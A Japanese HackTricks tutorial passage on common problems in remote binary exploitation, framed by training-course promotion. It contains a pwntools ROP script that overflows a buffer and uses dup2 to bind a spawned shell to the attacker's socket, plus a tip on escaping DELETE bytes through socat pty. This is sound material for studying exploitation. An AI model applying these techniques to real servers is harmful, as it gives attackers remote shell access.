一般的なエクスプロイトの問題
Reading time: 4 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
リモートエクスプロイトにおけるFD
例えば、**system('/bin/sh')
**を呼び出すエクスプロイトをリモートサーバーに送信すると、これはサーバープロセス内で実行され、/bin/sh
はstdin(FD: 0
)からの入力を期待し、stdoutおよびstderrに出力を印刷します(FDs 1
と 2
)。したがって、攻撃者はシェルと対話することができません。
これを修正する方法は、サーバーが起動したときにFD番号 3
(リスニング用)を作成し、その後、あなたの接続が**FD番号 4
**になると仮定することです。したがって、syscall **dup2
**を使用してstdin(FD 0)とstdout(FD 1)をFD 4(攻撃者の接続のもの)に複製することが可能であり、これによりシェルが実行されたときに連絡を取ることが可能になります。
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
socatはすでに**stdin
とstdout
をソケットに転送します。ただし、pty
モードはDELETE文字を含みます**。したがって、\x7f
(DELETE
-)を送信すると、あなたのエクスプロイトの前の文字を削除します。
これを回避するために、エスケープ文字\x16
を送信する任意の\x7f
の前に追加する必要があります。
ここでこの動作の例を 見つけることができます。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。